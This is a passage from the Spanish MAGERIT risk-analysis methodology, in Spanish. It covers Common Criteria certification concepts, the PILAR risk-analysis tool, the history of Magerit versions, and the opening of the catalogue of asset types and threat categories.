cambio unas grandes garantías a los usuarios. Por ejemplo, en el ámbito de la firma electrónica,
los dispositivos seguros de firma suelen certificarse contra un perfil de nivel EAL4+ 39 .
A4.2.1. Beneficiarios
Los CC se dirigen a una amplia audiencia de potenciales beneficiarios de la formalización de los
conceptos y elementos de evaluación: los consumidores (usuarios de productos de seguridad), los
desarrolladores y los evaluadores. Un lenguaje común entre todos ellos se traduce en ventajas
apreciables:
Para los consumidores
• que pueden expresar sus necesidades, antes de adquirir los servicios o productos que las
satisfagan; esta caracterización puede resultar útil tanto en adquisiciones individuales,
como en la identificación de necesidades de grupos de usuarios
• que pueden analizar las características de los servicios o productos que ofrece el merca-
do
• que pueden comparar diferentes ofertas
Para los desarrolladores
• que saben qué se les va a exigir y cómo se van a evaluar sus desarrollos
• que saben, objetivamente, qué requieren los usuarios

• que pueden expresar sin ambigüedad lo que hacen sus desarrollos
Para los evaluadores
• que disponen de un marco formalizado para saber qué tienen que evaluar y cómo tienen
que calificarlo
Para todo el mundo
• que dispone de unos criterios objetivos que permiten aceptar las certificaciones realiza-
das en cualquier parte
Todos estos participantes convergen sobre un objeto a evaluar denominado TOE (Target Of Eva-
luation), que es el servicio o producto (de seguridad) cuyas características (de seguridad) se quie-
ren evaluar.
Cuando un análisis de riesgos expone la relación de salvaguardas adecuadas, estas pueden venir
expresadas en terminología CC, lo que permite engarzar con las ventajas citadas, convirtiéndose
en una especificación normalizada.
A4.2.2. Requisitos de seguridad

Dado un sistema se pueden determinar, a través de un análisis de riesgos, qué salvaguardas se
requieren y con qué calidad. Este análisis puede hacerse sobre un sistema genérico o sobre un
sistema concreto. En CC, el conjunto de requisitos que se le exigen a un sistema genérico se de-
39 Cuando un producto está entre dos niveles, se indica su nivel inferior seguido de un signo “+” que se lee
como “aumentado”. Así, un producto evaluado EAL4+ significa que cumple todos los niveles de calidad
del nivel 4 y algunos de niveles superiores.
nomina perfil de protec ción (PP – Protection Profile). Si no se está hablando de un sistema ge-
nérico, sino de un sistema concreto, el conjunto de requisitos se conoce como declaración de
seguridad (ST – Security Target).
Los PP, dado su carácter genérico, cubren diferentes productos concretos. Suelen ser preparados
por grupos de usuarios u organismos internacionales que quieren modelar el mercado 40 .
Los ST, dado su carácter específico, cubren un producto concreto. Suelen ser preparados por los
propios fabricantes que de esta manera formalizan su oferta 41 .
CC determina los apartados en que debe estructurarse un PP o un ST. El índice de estos docu-
mentos es un buen indicador de su alcance:
PP- perfil de protección ST – declaración de seguridad

— Introduction — Introduction
— TOE description — TOE description
— Security environment — Security environment
• assumptions • assumptions
• threats • threats
• organizational security policies • organizational security policies
— Security objectives — Security objectives
• for the TOE • for the TOE
• for the environment • for the environment
— Security requirements — Security requirements
• for the environment • for the environment
• TOE functional requirements • TOE functional requirements
• TOE assurance requirements • TOE assurance requirements
— Application notes — TOE summary specification
— Rationale — PP claims
• PP reference
• PP tailoring
• PP additions
— Rationale
Tabla 11. Perfiles de protección y Declaraciones de seguridad
Los PP y los ST pueden ser a su vez sometidos a una evaluación formal que verifique su completi-
tud e integridad. Los PP así evaluados pueden pasar a registros públicos para ser compartidos por
diferentes usuarios.
En la elaboración de un ST se hace referencia a los PP a los que se acoge.
A4.2.3. Creación de perfiles de protección

La generación de un PP o un ST es básicamente un proceso de análisis de riesgos donde el ana-
lista, habiendo determinado el dominio del análisis (el TOE en terminología de CC), identifica
amenazas y determina, a través de los indicadores de impacto y riesgo, las salvaguardas que se
requieren. En la terminología de CC, las salvaguardas requeridas se denominan requisitos d e
seguridad y se subdividen en dos grandes grupos
40 Un ejemplo típico de PP podría ser aquel que fija las características de seguridad que se deben exigir a
un cortafuegos.
41 Un ejemplo típico de ST podría ser aquel que fija las características de seguridad del modelo 3000 del
fabricante XXL S.A., un modelo que permite cifrar las comunicaciones telefónicas.
requisitos funcionales de seguridad (functional requirements)
• ¿qué hay que hacer?
• definen el comportamiento funcional del TOE
requisitos de garantía de la funcionalidad de la seguridad (assurance requirements)
• ¿está el TOE bien construido?
• ¿es eficaz? ¿satisface el objetivo para el que se requiere?
• ¿es eficiente? ¿alcanza sus objetivos con un consumo razonable de recursos?
Es importante destacar que CC establece un lenguaje común para expresar los objetivos funcio-
nales y de aseguramiento. Es necesario pues que el análisis de riesgos utilice esta terminología
en la selección de salvaguardas. La norma CC nos proporciona en su parte 2 el catálogo estanda-
rizado de objetivos funcionales, mientras que en su parte 3 nos proporciona el catálogo estandari-
zado de objetivos de aseguramiento.
Parte 2: Requisitos funcionales Parte 3: Requisitos de garantía

FAU: Security audit ACM: Configuration management
FCO: Communication ADO: Delivery and operation
FCS: Cryptographic support ADV: Development
FDP: User data protection AGD: Guidance documents
FIA: Identification and authentication ALC: Life cycle support
FMT: Security management ATE: Tests
FPR: Privacy AVA: Vulnerability assessment
FPT: Protection of the TOE security functions APE: PP evaluation
FRU: Resource utilisation ASE: ST evaluation
FTA: TOE access
FTP: Trusted path / channels
Tabla 12. Requisitos funcionales y de aseguramiento de la función
A4.2.4. Uso de productos certificados

Cuando un TOE ha sido certificado de acuerdo a un PP o un ST, según convenga en cada caso,
se puede tener la certeza de que dicho TOE satisface las necesidades y además las satisface con
la calidad requerida (por ejemplo, EAL4).
La certificación de un sistema o producto no es garantía ciega de idoneidad: es necesario cercio-
rarse de que el PP o ST respecto del que se han certificado satisface los requisitos de nuestro sis-
tema. El análisis de riesgos nos ha permitido elaborar el PP o el ST o, en ocasiones, seleccionar
un conjunto apropiado a nuestro mapa de riesgos. Pero lo esencial es que de análisis de riesgos
se han obtenido unos requisitos de seguridad cuya satisfacción permitirá mantener impacto y ries-
go residuales bajo control.
En la medida en que un producto certificado se ajusta a un PP o ST que satisface nuestras nece-
sidades, la gestión de riesgos se reduce a adquirir el producto, instalarlo y operarlo en las condi-
ciones adecuadas.
Es importante destacar que tanto los PP como los ST incluyen una sección denominada “hipóte-
sis” (assumptions) en la que se establecen una serie de prerrequisitos que debe satisfacer el en-
torno operacional en el que se instala TOE. No se hace sino reconocer que el mejor producto, in-
adecuadamente instalado u operado, es incapaz de garantizar la satisfacción de los objetivos glo-
bales. Por ello, los productos certificados son componentes muy sólidos de un sistema; pero ade-
más hay que garantizar su entorno para asegurar el sistema completo.

A4.2.5. Terminología
Debido a que su objetivo es servir de referencia internacional y sustentar evaluaciones y certifica-
ciones, los criterios comunes deben ser muy precisos en su terminología. En el texto previo se han
venido introduciendo los términos según se necesitaban; estos términos se recogen formalmente
a continuación:
Assurance (garantía)
Base de la confianza en que una entidad cumple sus objetivos de seguridad.
Evaluation (evaluación)
Valoración de un PP, ST o TOE frente a criterios definidos.
Evaluation Assurance Level (EAL) (nivel de garantía de evaluación)
Paquete que consiste en componentes de garantía de la Parte 3 y que representa un nivel
en la escala de garantía predefinida de CC.
Evaluation authority (autoridad de evaluación)
Organismo que implementa los CC para una comunidad específica mediante un esquema
de evaluación por el que se establecen las normas y se supervisa la calidad de las evalua-
ciones realizadas por organismos de dicha comunidad.
Evaluation scheme (esquema de evaluación)
Marco administrativo y regulador bajo el que una autoridad de evaluación aplica los CC en
una comunidad específica.
Formal
Expresado en un lenguaje de sintaxis restringida con una semántica definida basada en
conceptos matemáticos bien establecidos.
Informal
Expresado en lenguaje natural.
Organisational security policies (Políticas de seguridad organizativas )
Una o más reglas de seguridad, procedimientos, prácticas o directrices impuestas por una
organización sobre sus operaciones.
Product (producto)
Paquete de software, firmware y/o hardware de TI que proporciona una funcionalidad dise-
ñado para su uso o su incorporación en una gran variedad de sistemas.
Protection Profile (PP) (perfil de protección)
Conjunto de requisitos de seguridad, independiente de la implementación, para una catego-
ría de TOEs que satisfacen unas necesidades específicas del consumidor.
Security objective (objetivo de seguridad)
Declaración de la intención de contrarrestar las amenazas identificadas y/o de cumplir las
políticas e hipótesis de seguridad identificadas de la organización.
Security Target (ST) (declaración de seguridad)
Conjunto de requisitos de seguridad y especificaciones utilizados como base de la evalua-
ción de un TOE identificado.
Semiformal
Expresado en un lenguaje de sintaxis restringida con semántica definida.
System (sistema)
Instalación específica de TI, con un propósito y en un entorno particulares.
Target of Evaluation (TOE) (objeto a evaluar)
Producto o sistema de TI y sus manuales de administrador y de usuario asociados que se
somete a evaluación.
TOE Security Functions (TSF) (funciones de seguridad del TOE)
Conjunto compuesto de todo el hardware, firmware y software del TOE con el que hay que
contar para la correcta aplicación de la TSP.
TOE Security Policy (TSP) (política de seguridad del TOE)
Conjunto de reglas que regulan cómo se gestionan, protegen y distribuyen los activos en el
TOE.

Magerit versión 2 Herramientas
Apéndice 5. Herramientas
La realización de un proyecto de análisis de riesgos supone trabajar con una cierta cantidad de
activos que rara vez baja de las decenas y que habitualmente son algunos centenares. El número
de amenazas típicamente está del orden de las decenas, mientras que el número de salvaguardas
está en los millares. Todo ello nos indica que hay que manejar multitud de datos y combinaciones
entre ellos, lo que lleva lógicamente a buscar apoyo de herramientas automáticas.
Como requisitos generales, una herramienta de apoyo al análisis de riesgos debe:
• permitir trabajar con un conjunto amplio de activos, amenazas y salvaguardas;
• permitir un tratamiento flexible del conjunto de activos para acomodar un modelo cercano a
la realidad de la Organización;
• ser utilizada a lo largo de los tres procesos que constituyen el proyecto, especialmente como
soporte al proceso P2, Análisis de Riesgos y
• no ocultar al analista el razonamiento que lleva a las conclusiones.
Las herramientas pueden hacer un tratamiento cualitativo o cuantitativo de la información. La op-
ción entre uno y otro planteamiento ha sido motivo de largo debate. Los modelos cualitativos ofre-
cen resultados útiles antes que los modelos cuantitativos, simplemente porque la captura de datos
cualitativa es más ágil que la cuantitativa 42 . Los modelos cualitativos son eficaces relativizando lo
más importante de lo que no es tan importante; pero agrupan las conclusiones en grandes grupos.
Los modelos cuantitativos, por el contrario, consiguen una ubicación precisa de cada aspecto.
Impacto y riesgo residual pueden ser cualitativos hasta que aparecen grandes inversiones y hay
que determinar su racionalidad económica: ¿qué es lo que interesa más? En este punto se nece-
sitan números.
Una opción mixta es útil: un modelo cualitativo para el sistema de información completo, con ca-
pacidad de entrar en un modelo cuantitativo para aquellos componentes cuya protección va a re-
querir fuertes desembolsos.
También es cierto que el modelo de valor de una Organización debe emplearse durante largo
tiempo, al menos durante los años que dure el plan de seguridad para analizar el efecto de la eje-
cución del plan de seguridad. Es notablemente más dificultoso generar un modelo de valor desde
cero que ir adaptando un modelo existente a la evolución de los activos del sistema y a la evolu-
ción de los servicios que presta la Organización. En esta evolución continua puede afrontarse la
progresiva migración de un modelo cualitativo inicial hacia un modelo cada vez más cuantitativo.
Es de destacar que los datos de caracterización de las posibles amenazas son datos tentativos en
los primeros modelos; pero la experiencia permite ir ajustando las valoraciones a la realidad.
Sean herramientas cualitativas o cuantitativas, estas deben:
• Manejar un catálogo razonablemente completo de tipos de activos. En esta línea se orienta
el capítulo 2 del "Catálogo de Elementos".
• Manejar un catálogo razonablemente completo de dimensiones de valoración. En esta línea
se orienta el capítulo 3 del "Catálogo de Elementos".
• Ayudar a valorar los activos ofreciendo criterios de valoración. En esta línea se orienta el
capítulo 4 del "Catálogo de Elementos".
• Manejar un catálogo razonablemente completo de amenazas. En esta línea se encamina el
42 Hay que valorar activos y esta es una tarea de consenso. Tanto la valoración como la búsqueda del con-
senso son notablemente más rápidas si hay que determinar un orden de magnitud que si hay que deter-
minar un número absoluto.
Magerit versión 2 Herramientas
• Manejar un catálogo razonablemente completo de salvaguardas. En esta línea se orienta el
• Evaluar el impacto y el riesgo residuales.
Es interesante que las herramientas puedan importar y exportar los datos que manejan en forma-
tos fácilmente procesables por otras herramientas, cabiendo citar
• XML – Extended Markup Language
que es la opción tomada en esta guía, que establece formatos XML de intercambio
• CSV – Comma Separated Values
A5.1. PILAR
PILAR, acrónimo de “Procedimiento Informático-Lógico para el Análisis de Riesgos” es una
herramienta desarrollada bajo especificación del Centro Nacional de Inteligencia para soportar el
análisis de riesgos de sistemas de información siguiendo la metodología Magerit.
La herramienta soporta todas las fases del método Magerit:
• Caracterización de los activos: identificación, clasificación, dependencias y valoración
• Caracterización de las amenazas
• Evaluación de las salvaguardas
La herramienta incorpora los catálogos del "Catálogo de Elementos" permitiendo una homogenei-
dad en los resultados del análisis:
• tipos de activos
• dimensiones de valoración
• criterios de valoración
• catálogo de amenazas
Para incorporar este catálogo, PILAR diferencia entre el motor de cálculo de riesgos y la biblioteca
de elementos, que puede ser reemplazada para seguir el paso de la evolución en el tiempo de los
catálogos de elementos.
La herramienta evalúa el impacto y el riesgo, acumulado y repercutido, potencial y residual, pre-
sentándolo de forma que permita el análisis de por qué se da cierto impacto o cierto riesgo.
Las salvaguardas se califican por fases, permitiendo la incorporación a un mismo modelo de dife-
rentes situaciones temporales. Típicamente se puede incorporar el resultado de los diferentes pro-
yectos de seguridad a lo largo de la ejecución del plan de seguridad, monitorizando la mejora del
sistema.
Los resultados se presentan en varios formatos: informes RTF, gráficas y tablas para incorporar a
hojas de cálculo. De esta forma es posible elaborar diferentes tipos de informes y presentaciones
de los resultados.
Por último, la herramienta calcula calificaciones de seguridad siguiendo los epígrafes de normas
de iure o de facto de uso habitual. Caben citarse:
• UNE-ISO/IEC 27002:2009: sistemas de gestión de la seguridad
• RD 1720/2007: datos de carácter personal
• RD 3/2010: Esquema Nacional de Seguridad
Por último hay que destacar que PILAR incorpora tanto los modelos cualitativo como cuantitativo,
pudiendo alternarse entre uno y otro para extraer el máximo beneficio de las posibilidades teóricas
de cada uno de ellos.

Magerit versión 2 Evolución de Magerit
Apéndice 6. Evolución de Magerit

La primera de Magerit, publicada en 1997 ha resistido en su mayor parte el paso del tiempo, ratifi-
cándose en lo fundamental. No obstante, el tiempo pasado permite mejorar notablemente aquella
primera versión.
La segunda versión, publicada en 2005, se planteó como revisión constructiva, adaptándola al
tiempo presente e incorporando la experiencia de estos años.
Esta tercera versión busca una nueva adaptación, teniendo en cuenta no solo la experiencia prác-
tica sino también la evolución de las normas internacionales de ISO que constituyen un referente
obligado.
A6.1. Para los que han trabajado con Magerit v1

Si usted ha trabajado con Magerit v1.0, todos los conceptos le resultarán familiares, aunque hay
cierta evolución. En particular reconocerá lo que se denominaba submodelo de elementos: acti-
vos, amenazas, vulnerabilidades, impactos, riesgos y salvaguardas. Esta parte conceptual ha sido
refrendada por el paso del tiempo y sigue siendo el eje alrededor del cual se vertebran las fases
fundamentales de análisis y gestión. Se ha corregido y ampliado lo que se denominaba “subesta-
dos de seguridad” dándole el nuevo nombre de “dimensiones” 43 e introduciendo nuevas varas de
medir lo que interesa de los activos. El submodelo de procesos aparece bajo el epígrafe de “es-
tructuración del proyecto de análisis y gestión de riesgos”.
Si bien Magerit v1.0 ha resistido bien el paso del tiempo en lo conceptual, no se puede decir lo
mismo de los detalles técnicos de los sistemas de información con los que se trabaja. Se intenta
una puesta al día; pero ante todo se intenta diferenciar lo que es esencial (y permanente) de lo
que es coyuntural y cambiará con el tiempo. Esto se traduce en parametrizar el método de trabajo,
referenciándolo a catálogos externos de amenazas y salvaguardas que se podrán actualizar,
adaptándose al paso del tiempo. Así pues, quede el método, abierto de forma que estando claro
qué se hace y cómo, se puedan adaptar los detalles a cada momento.
Los 7 libros segregados en Magerit versión 1, han evolucionado:
Magerit versión 1 Magerit versión 3

Libro I. Guía de aproximación a la seguridad de Libro I – Método
los sistemas de información
Libro II. Guía de procedimientos Libro I – Método
Libro III. Guía de técnicas Guía de Técnicas
Libro IV. Guía para desarrolladores de aplica- Libro I – Método / Capítulo 7 Desarrollo de sis-
ciones temas de información
Libro V. Guía para responsables del dominio Libro I – Método
protegible Libro II – Catálogo de Elementos
Libro VI. Arquitectura de la información y espe- Libro II – Catálogo de Elementos / formatos
cificaciones de la interfaz para el intercambio de XML
datos
Libro VII. Referencia de normas legales y técni- Libro I – Método / Apéndice 3. Marco legal
cas
43 Dimensión, en una de las acepciones del Diccionario de la Lengua Española, dícese que es “Cada una
de las magnitudes de un conjunto que sirven para definir un fenómeno. Por ejemplo, el espacio de cuatro
dimensiones de la teoría de la relatividad.”
Magerit versión 2 Evolución de Magerit
A6.2. Para los que han trabajado con Magerit v2

Esta versión 3 mantiene en gran medida la estructura de la versión 2:
— Libro I – Método
— Libro II – Catálogo de Elementos
— Técnicas
Cambios en la versión 3:
— mejor alineamiento con la normativa ISO, buscando una integración de las tareas de análisis
de riesgos dentro de un marco organizacional de gestión de riesgos dirigido desde los órga-
nos de gobierno
— se aligera el texto
— se eliminan partes poco importantes o poco usadas
— se normalizan las diferentes actividades
o MAR – Método de Análisis de Riesgos
o PAR – Proyecto de Análisis de Riesgos
o PS – Plan de Seguridad

Libro II - Catálogo de Elementos
Libro II - Catálogo de Elementos




Edita:

NIPO: 630-12-171-8
Magerit 3.0
Índice
1. Introducción.................................................................................................................... 6
2. Tipos de activos ............................................................................................................. 7
2.1. Activos esenciales..................................................................................................................7
2.1.1. Datos de carácter personal ............................................................................................8
2.2. Arquitectura del sistema.........................................................................................................8
2.3. [D] Datos / Información...........................................................................................................8
2.4. [K] Claves criptográficas.........................................................................................................9
2.5. [S] Servicios ...........................................................................................................................9
2.6. [SW] Software - Aplicaciones informáticas...........................................................................10
2.7. [HW] Equipamiento informático (hardware) .........................................................................10
2.8 [COM] Redes de comunicaciones.........................................................................................11
2.9. [Media] Soportes de información..........................................................................................12
2.10. [AUX] Equipamiento auxiliar...............................................................................................12
2.11. [L] Instalaciones .................................................................................................................13
2.12. [P] Personal........................................................................................................................13
2.13. XML ....................................................................................................................................13
2.13.1. Sintaxis BNF ...............................................................................................................13
2.13.2. Esquema XSD ............................................................................................................14
3. Dimensiones de valoración ......................................................................................... 15
3.1. [D] Disponibilidad .................................................................................................................15
3.2. [I] Integridad de los datos .....................................................................................................15
3.3. [C] Confidencialidad de la información.................................................................................15
3.4. [A] Autenticidad ....................................................................................................................16
3.5. [T] Trazabilidad.....................................................................................................................16
3.6. XML ......................................................................................................................................16
3.6.1. Sintaxis BNF .................................................................................................................16
3.6.2. Esquema XSD ..............................................................................................................17
3.7. Referencias ..........................................................................................................................17
4. Criterios de valoración................................................................................................. 19
4.1. Escalas estándar..................................................................................................................19
4.2. XML ......................................................................................................................................23
4.2.1. Sintaxis BNF .................................................................................................................23
4.2.2. Esquema XSD ..............................................................................................................24
4.3. Referencias ..........................................................................................................................24
5. Amenazas...................................................................................................................... 25
5.1. [N] Desastres naturales........................................................................................................25
5.1.1. [N.1] Fuego ...................................................................................................................25
5.1.2. [N.2] Daños por agua ...................................................................................................25
5.1.3. [N.*] Desastres naturales..............................................................................................26
5.2. [I] De origen industrial ..........................................................................................................27
5.2.1. [I.1] Fuego ....................................................................................................................27
5.2.2. [I.2] Daños por agua .....................................................................................................27
5.2.3. [I.*] Desastres industriales ............................................................................................28
5.2.4. [I.3] Contaminación mecánica ......................................................................................28
5.2.5. [I.4] Contaminación electromagnética ..........................................................................29
5.2.6. [I.5] Avería de origen físico o lógico .............................................................................29
5.2.7. [I.6] Corte del suministro eléctrico ................................................................................30
5.2.8. [I.7] Condiciones inadecuadas de temperatura o humedad .........................................30
5.2.9. [I.8] Fallo de servicios de comunicaciones ...................................................................30
5.2.10. [I.9] Interrupción de otros servicios y suministros esenciales.....................................31
5.2.11. [I.10] Degradación de los soportes de almacenamiento de la información ................31
5.2.12. [I.11] Emanaciones electromagnéticas.......................................................................32
5.3. [E] Errores y fallos no intencionados....................................................................................33
5.3.1. [E.1] Errores de los usuarios ........................................................................................33
5.3.2. [E.2] Errores del administrador .....................................................................................33
5.3.3. [E.3] Errores de monitorización (log) ............................................................................34

Magerit 3.0
5.3.4. [E.4] Errores de configuración ......................................................................................34
5.3.5. [E.7] Deficiencias en la organización............................................................................34
5.3.6. [E.8] Difusión de software dañino .................................................................................35
5.3.7. [E.9] Errores de [re-]encaminamiento...........................................................................35
5.3.8. [E.10] Errores de secuencia .........................................................................................35
5.3.9. [E.14] Escapes de información .....................................................................................35
5.3.10. [E.15] Alteración accidental de la información............................................................36
5.3.11. [E.18] Destrucción de información..............................................................................36
5.3.12. [E.19] Fugas de información.......................................................................................37
5.3.13. [E.20] Vulnerabilidades de los programas (software) .................................................37
5.3.14. [E.21] Errores de mantenimiento / actualización de programas (software) ................37
5.3.15. [E.23] Errores de mantenimiento / actualización de equipos (hardware) ...................38
5.3.16. [E.24] Caída del sistema por agotamiento de recursos..............................................38
5.3.17. [E.25] Pérdida de equipos ..........................................................................................38
5.3.18. [E.28] Indisponibilidad del personal ............................................................................39
5.4. [A] Ataques intencionados....................................................................................................40
5.4.1. [A.3] Manipulación de los registros de actividad (log) ..................................................40
5.4.2. [A.4] Manipulación de la configuración .........................................................................40
5.4.3. [A.5] Suplantación de la identidad del usuario .............................................................41
5.4.4. [A.6] Abuso de privilegios de acceso............................................................................41
5.4.5. [A.7] Uso no previsto ....................................................................................................41
5.4.6. [A.8] Difusión de software dañino .................................................................................42
5.4.7. [A.9] [Re-]encaminamiento de mensajes......................................................................42
5.4.8. [A.10] Alteración de secuencia .....................................................................................42
5.4.9. [A.11] Acceso no autorizado.........................................................................................43
5.4.10. [A.12] Análisis de tráfico .............................................................................................43
5.4.11. [A.13] Repudio ............................................................................................................43
5.4.12. [A.14] Interceptación de información (escucha) .........................................................44
5.4.13. [A.15] Modificación deliberada de la información .......................................................44
5.4.14. [A.18] Destrucción de información..............................................................................44
5.4.15. [A.19] Divulgación de información ..............................................................................45
5.4.16. [A.22] Manipulación de programas .............................................................................45
5.4.17. [A.23] Manipulación de los equipos ............................................................................45
5.4.18. [A.24] Denegación de servicio ....................................................................................46
5.4.19. [A.25] Robo.................................................................................................................46
5.4.20. [A.26] Ataque destructivo ...........................................................................................46
5.4.21. [A.27] Ocupación enemiga .........................................................................................47
5.4.22. [A.28] Indisponibilidad del personal ............................................................................47
5.4.23. [A.29] Extorsión ..........................................................................................................47
5.4.24. [A.30] Ingeniería social (picaresca) ............................................................................47
5.5. Correlación de errores y ataques .........................................................................................48
5.6. Nuevas amenazas: XML ......................................................................................................49
5.6.1. Sintaxis BNF .................................................................................................................49
5.6.2. Esquema XSD ..............................................................................................................49
5.7. Nivel de la amenaza: XML ...................................................................................................50
5.7.1. Sintaxis BNF .................................................................................................................50
5.7.2. Esquema XSD ..............................................................................................................51
5.8. Referencias ..........................................................................................................................51
6. Salvaguardas ................................................................................................................ 53
6.1. Protecciones generales u horizontales ................................................................................53
6.2. Protección de los datos / información ..................................................................................54
6.3. Protección de las claves criptográficas ................................................................................54
6.4. Protección de los servicios...................................................................................................54
6.5. Protección de las aplicaciones (software) ............................................................................54
6.6. Protección de los equipos (hardware)..................................................................................55
6.7. Protección de las comunicaciones .......................................................................................55
6.8. Protección en los puntos de interconexión con otros sistemas ...........................................55
6.9. Protección de los soportes de información ..........................................................................55

Magerit 3.0
6.10. Protección de los elementos auxiliares ..............................................................................56
6.11. Seguridad física – Protección de las instalaciones ............................................................56
6.12. Salvaguardas relativas al personal ....................................................................................56
6.13. Salvaguardas de tipo organizativo .....................................................................................56
6.14. Continuidad de operaciones...............................................................................................56
6.15. Externalización ...................................................................................................................57
6.16. Adquisición y desarrollo .....................................................................................................57
6.17. Referencias ........................................................................................................................57
Apéndice 1. Notación XML .............................................................................................. 59
Apéndice 2. Fichas ........................................................................................................... 60
A2.1. [info] Activos esenciales: información ................................................................................60
A2.2. [service] Activos esenciales: Servicio ................................................................................61
A2.3. [D] Datos / Información ......................................................................................................62
A2.4. [K] Claves criptográficas ....................................................................................................63
A2.5. [S] Servicios .......................................................................................................................63
A2.6. [SW] Aplicaciones (software) .............................................................................................64
A2.7. [HW] Equipamiento informático (hardware) .......................................................................65
A2.8. [COM] Redes de comunicaciones .....................................................................................65
A2.9. [Media] Soportes de información .......................................................................................66
A2.10. [AUX] Equipamiento auxiliar ............................................................................................67
A2.11. [L] Instalaciones ...............................................................................................................68
A2.12. [P] Personal .....................................................................................................................68
Apéndice 3. Modelo de valor ........................................................................................... 70
A3.1. Formato XML .....................................................................................................................70
Apéndice 4. Informes ....................................................................................................... 72
A4.1. Modelo de valor .................................................................................................................72
A4.2. Mapa de riesgos ................................................................................................................72
A4.3. Evaluación de salvaguardas ..............................................................................................73
A4.4. Estado de riesgo ................................................................................................................73
A4.5. Informe de insuficiencias ...................................................................................................73
A4.6. Plan de seguridad ..............................................................................................................74

1. Introducción
El objetivo de este catálogo de elementos que aparecen en un proyecto de análisis y gestión de
riesgos es doble:
1. Por una parte, facilitar la labor de las personas que acometen el proyecto, en el sentido de
ofrecerles ítem estándar a los que puedan adscribirse rápidamente, centrándose en lo es
pecífico del sistema objeto del análisis.
2. Por otra, homogeneizar los resultados de los análisis, promoviendo una terminología y unos
criterios que permitan comparar e incluso integrar análisis realizados por diferentes equipos.
Persiguiendo estos objetivos, y sabiendo que la tecnología cambia rápidamente, las secciones
que siguen describen un catálogo1 que marca unas pautas en cuanto a
Tipos de activos, sabiendo que aparecerán nuevos tipos de activos continuamente.
Dimensiones de valoración, sabiendo que en casos específicos pueden aparecer dimensio
nes específicas; pero en la certidumbre de estar recogido lo esencial.
Criterios de valoración, sabiendo que hay un fuerte componente de estimación por los exper
tos; pero marcando una primera pauta de homogeneidad. El ánimo es relativizar el valor de
los diferentes activos en sus diferentes dimensiones de valoración, de forma que no sólo se
propone una escala dentro de una dimensión, sino que también se propone cómo se rela
cionan las diferentes dimensiones entre sí.
Amenazas, sabiendo que no todas las amenazas son significativas sobre todos los sistemas;
pero con una razonable esperanza de que este catálogo crezca lentamente.
Salvaguardas, sabiendo que es un terreno extremadamente complejo por su riqueza de tecno
logías, productos y combinaciones ingeniosas de elementos básicos. Las salvaguardas se
tratan con un enfoque de “identificación de necesidades” por parte de los responsables de
los sistemas de información, mientras que se tratan con un enfoque de “controles de eficacia
y eficiencia” por los auditores de sistemas. Se ha intentado un lenguaje intermedio que satis
faga a ambos colectivos.
Cada sección incluye una notación XML que se empleará para publicar los elementos en un for
mato estándar capaz de ser procesado automáticamente por herramientas informáticas.
1 Este catálogo deberá adaptarse a la evolución de los sistemas de información. Es por ello que para cada
categoría de elementos se define una notación XML que permitirá publicar ágilmente actualizaciones de
este catálogo.

Magerit 3.0 Tipos de activos
2. Tipos de activos
La tipificación de los activos es tanto un información documental de interés como un criterio de

identificación de amenazas potenciales y salvaguardas apropiadas a la naturaleza del activo.
La siguiente tabla no puede ser exhaustiva, ni tan siquiera válida para siempre.
La relación que sigue clasifica los activos dentro de una jerarquía, determinando para cada uno un
código que refleja su posición jerárquica, un nombre y una breve descripción de las características
que recoge el epígrafe. Nótese que las pertenencia de un activo a un tipo no es excluyente de su
pertenencia a otro tipo; es decir, un activo puede ser simultáneamente de varios tipos.
2.1. Activos esenciales

En un sistema de información hay 2 cosas esenciales:
— la información que se maneja y
— los servicios que prestan.
Estos activos esenciales marcan los requisitos de seguridad para todos los demás componentes
del sistema.
Dentro de la información que se maneja, puede ser interesante considerar algunas características
formales tales como si son de carácter personal, con requisitos legales, o si están sometidos a
alguna clasificación de seguridad, con requisitos normativos:
[essential] Activos esenciales

[info] información
[adm] datos de interés para la administración pública
[vr] datos vitales (registros de la organización) (1)
[per] datos de carácter personal (2)

[A] nivel alto
[M] nivel medio
[B] nivel bajo
[classified] datos clasificados (3)

[C] nivel confidencial
[R] difusión limitada
[UC] sin clasificar
[pub] de carácter público
[service] servicio
(1) Dícese de aquellos que son esenciales para la supervivencia de la Organización; es decir
que su carencia o daño afectaría directamente a la existencia de la Organización. Se pue
den identificar aquellos que son imprescindibles para que la Organización supere una situa
ción de emergencia, aquellos que permiten desempeñar o reconstruir las misiones críticas,
aquellos sustancian la naturaleza legal o los derechos financieros de la Organización o sus
usuarios.
(2) Dícese de cualquier información concerniente a personas físicas identificadas o identifica
bles. Los datos de carácter personal están regulados por leyes y reglamentos en cuanto
afectan a las libertades públicas y los derechos fundamentales de las personas físicas, y
especialmente su honor e intimidad personal y familiar.
(3) Dícese de aquellos sometidos a normativa específica de control de acceso y distribución;
es decir aquellos cuya confidencialidad es especialmente relevante. La tipificación de qué
datos deben ser clasificados y cuales son las normas para su tratamiento, vienen deter
minadas por regulaciones sectoriales, por acuerdos entre organizaciones o por normativa
interna.

2.1.1. Datos de carácter personal

Existen leyes relativas a los datos de carácter personal que, en función de su naturaleza y las cir
cunstancias, establecen una serie de obligaciones a los sistemas de información que los tratan.
En el caso de la legislación española, se ajusta a los dispuesto en
• Ley Orgánica 15/1999, de 13 de diciembre, de Protección de Datos de Carácter Personal
(B.O.E. número 298, de 14/12/1999)
• Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa
personal. (BOE número 17 de 19/1/2008)
El reglamento establece medidas específicas de nivel básico, medio y alto.
2.2. Arquitectura del sistema

Se trata de elementos que permiten estructurar el sistema, definiendo su arquitectura interna y sus
relaciones con el exterior.
[arch] Arquitectura del sistema

[sap] punto de [acceso al] servicio (1)
[ip] punto de interconexión (2)
[ext] proporcionado por terceros (3)
(1) Establece una frontera entre la prestación de un servicio (proveedor) y el usuario (consumi
dor). Los requisitos de seguridad del usuario se convierten en obligaciones del prestatario,
mientras que los incidentes de seguridad en el proveedor repercuten en el usuario.
(2) Establece una frontera inter-pares: cuando dos sistemas se interconectan para intercambiar
información.
(3) Establece una frontera inferior, cuando para la prestación de nuestros servicios recurrimos a
un tercero.
2.3. [D] Datos / Información

Los datos son el corazón que permite a una organización prestar sus servicios. La información es
un activo abstracto que será almacenado en equipos o soportes de información (normalmente
agrupado como ficheros o bases de datos) o será transferido de un lugar a otro por los medios de
transmisión de datos.
[D] Datos / Información

[files] ficheros
[backup] copias de respaldo
[conf] datos de configuración (1)
[int] datos de gestión interna
[password] credenciales (ej. contraseñas)
[auth] datos de validación de credenciales
[acl] datos de control de acceso
[log] registro de actividad (2)


[source] código fuente
[exe] código ejecutable
[test] datos de prueba
